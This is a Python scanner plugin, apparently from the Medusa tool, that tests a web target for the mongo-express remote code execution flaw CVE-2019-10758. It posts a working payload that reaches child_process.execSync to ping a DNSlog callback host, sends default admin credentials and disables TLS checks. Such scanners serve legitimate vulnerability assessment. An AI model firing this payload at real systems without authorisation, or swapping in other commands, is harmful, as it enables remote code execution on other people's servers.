#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib.parse
import requests
import ClassCongregation
from ClassCongregation import Dnslog
import time
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2019-10758" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date']  = "2020-1-7"  # 插件编辑时间
        self.info['disclosure']='2020-1-3'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "MongoExpressRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='mongoExpress远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "mongo-express"  # 漏洞组件
        self.info['desc_content'] = "包的受影响版本易受通过使用toBSON方法的终结点的远程代码执行（RCE）攻击。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "mongo express中执行认证<0.54.0"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url = kwargs.get("Url")  # 获取传入的url参数
    Headers = kwargs.get("Headers")  # 获取传入的头文件
    proxies = kwargs.get("Proxies")  # 获取传入的代理参数
    try:
        payload = "/checkValid"
        payload_url = url+ payload
        dns=Dnslog()
        data = 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping {}")'.format(dns.dns_host())

        Headers['Accept']= '*/*'
        Headers['Authorization']='Basic YWRtaW46cGFzcw=='
        Headers['Connection']='close'
        Headers['Content-Type']='application/x-www-form-urlencoded'
        Headers['Content-Length']='123'

        resp=requests.post(payload_url,data=data,headers=Headers, timeout=6,proxies=proxies, verify=False)
        time.sleep(10)
        if dns.result():
            Medusa = "{} 存在mongo-express远程代码执行漏洞(CVE-2019-10758)\r\n漏洞地址:\r\n{}\r\n漏洞详情:\r\npayload:{}".format(url,payload_url,data)
            _t=VulnerabilityInfo(Medusa)
            ClassCongregation.VulnerabilityDetails(_t.info, resp,**kwargs).Write()  # 传入url和扫描到的数据
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类

